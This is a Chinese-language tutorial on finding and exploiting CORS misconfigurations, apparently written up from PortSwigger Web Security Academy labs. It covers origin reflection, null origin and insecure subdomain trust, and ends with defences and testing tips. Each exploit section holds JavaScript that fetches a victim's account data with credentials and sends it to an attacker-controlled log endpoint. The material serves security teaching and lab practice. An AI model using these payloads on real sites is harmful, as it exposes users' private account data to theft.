Portswigger Labs — CORS
字数 917 2025-08-18 11:36:53
CORS漏洞挖掘与利用教学文档
1. CORS漏洞基础
1.1 CORS概述
跨源资源共享(CORS)是一种机制,允许网页从不同域请求受限资源。当服务器配置不当时,可能导致敏感数据泄露。
1.2 漏洞检测方法
最常见的测试方法是在请求中添加Origin标头:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
如果服务器响应中包含:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
则表明存在CORS漏洞。
2. CORS漏洞类型与利用
2.1 基本Origin反射漏洞
当服务器不加限制地反射请求中的Origin头时,攻击者可构造恶意网站窃取用户数据。
利用代码示例:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
2.2 可信空源漏洞
某些服务器允许null作为可信来源。
利用方法:
- 尝试使用
null作为Origin - 结合iframe sandbox生成null origin请求
利用代码示例:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>">
</iframe>
2.3 受信任的不安全协议漏洞
当服务器信任来自子域的不安全协议(如HTTP)时。
利用方法:
- 寻找允许的子域名
- 通过该子域发起跨域请求
利用代码示例:
<script>
document.location="http://stock.0a6500ef0389b5e4812a5c2e00c1001b.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a6500ef0389b5e4812a5c2e00c1001b.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0ad90010039ab5dc81185be9017500f3.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>
3. 漏洞挖掘流程
- 识别端点:寻找返回敏感数据的API端点
- 测试Origin反射:添加任意Origin头测试反射
- 测试null Origin:尝试使用null作为Origin
- 测试子域名:检查是否信任子域名
- 验证凭证:检查Access-Control-Allow-Credentials是否为true
4. 防御措施
- 严格限制允许的Origin:明确指定允许的域名,避免使用通配符
- 避免反射Origin:不直接反射请求中的Origin头
- 限制凭证:除非必要,否则不设置Access-Control-Allow-Credentials为true
- 使用安全协议:确保所有跨域请求使用HTTPS
- 验证请求来源:服务器端应验证请求的实际来源
5. 实战技巧
- 在Burp Suite中可以使用"Add Custom Header"选项快速测试Origin反射
- 使用浏览器开发者工具查看CORS相关响应头
- 注意检查AJAX请求中的withCredentials属性设置
- 结合XSS等其他漏洞可增强CORS攻击效果
通过以上方法,安全研究人员可以有效地发现和利用CORS配置不当导致的安全漏洞。